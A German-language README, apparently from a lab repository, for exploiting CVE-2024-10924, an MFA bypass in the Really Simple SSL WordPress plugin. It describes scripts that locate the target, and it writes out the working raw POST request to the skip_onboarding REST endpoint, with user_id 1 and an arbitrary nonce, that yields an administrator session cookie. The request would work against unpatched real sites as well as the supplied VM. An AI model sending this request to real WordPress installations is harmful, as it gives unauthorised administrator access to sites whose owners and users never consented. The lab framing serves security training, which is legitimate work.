Lab-Umgebung und Exploit-Skript für CVE-2024-10924, das die Umgehung der MFA in WordPress über den skip_onboarding-Endpunkt des Really Simple SSL-Plugins demonstriert.
Dieses Repository stellt ein Labor zum Ausnutzen der CVE-2024-10924-Schwachstelle in WordPress bereit, insbesondere um die two-factor authentication (MFA) zu umgehen und Zugriff auf das WordPress-Administrationspanel zu erhalten.
Um dieses Labor in Ihrer Umgebung bereitzustellen, führen Sie die folgenden Schritte aus:
Sie müssen das zip des LAB entpacken. Gehen Sie in VMware auf Open, um eine Maschine zu importieren. Wir wählen die Datei aus, und schließlich klicken wir auf , um die verwundbare Maschine einzuschalten.
Ubuntu-Bypass-MFA-Wordpress.vmxPowerInstallieren Sie auf Ihrer Kali-Maschine die erforderlichen Tools und stellen Sie sicher, dass die folgenden Anwendungen installiert sind:
nmap: Zum Durchführen von Netzwerkscans.requests: Zum Erstellen von HTTP-Anfragen (falls nicht vorhanden, installieren Sie requests mit pip install requests).rich: Für eine elegante Konsolenausgabe (installieren mit pip install rich).Um die IP der WordPress-Maschine in der Netzwerkumgebung zu ermitteln, führen Sie das folgende Skript von Ihrer Kali-Maschine aus:
$ python3 knowIPwordpress.py
This script does the following:
Detect your local IP.
Scans the corresponding network segment to find active IPs.
Perform a port scan for HTTP services.
Check that the WordPress machine's IP has the title "Bypass-MFA" in its HTTP service.
Once found, it will show you the URL where you can access the WordPress administration panel:
Accede a WordPress en: http://<IP>/wp-admin
admin:admin
Wenn Sie versuchen, sich bei WordPress anzumelden, werden Sie zur two-factor verification (MFA) aufgefordert. Um diesen Schritt zu umgehen, führen Sie das folgende Skript auf Ihrer Kali-Maschine aus:
$ python3 bypass-MFA-Wordpress.py
So funktioniert das Skript bypass-MFA-Wordpress.py
Dieses Skript nutzt die CVE-2024-10924-Schwachstelle aus und umgeht die Doppelverifizierung, um Zugriff auf das WordPress-Administrationspanel zu erhalten.
Sitzungscookie abrufen: Das Skript sendet eine HTTP-Anfrage an den Endpunkt reallysimplessl/v1/two_fa/skip_onboarding, um ein gültiges Sitzungscookie zu erhalten.
Die Anfrage wird mit den folgenden Informationen gesendet:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Sobald das Cookie erhalten wurde, fragt das Skript den WordPress-Benutzernamen und das Passwort ab. Anschließend sendet es eine POST-Anfrage an den Endpunkt wp-admin/profile.php mit den angegebenen Anmeldedaten, um sich anzumelden.
Wenn der Bypass erfolgreich ist, speichert das Skript die Antwort des Administrator-Dashboards in einer .html-Datei und öffnet sie in Ihrem Standardbrowser.
Sie haben jetzt Zugriff auf das WordPress-Administrationspanel!
Wenn Sie dies manuell mit BurpSuite tun möchten und wir den Endpoint kennen möchten, an den wir die Anfrage senden müssen, um die Cookies zu erfassen, können wir dies auf folgende Weise tun:
$ python3 endpointWordpress.py
Dies zeigt uns den Code, den wir in BurpSuite einfügen müssen, um die Cookies erfassen zu können, in meinem Fall würde es ungefähr so aussehen:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}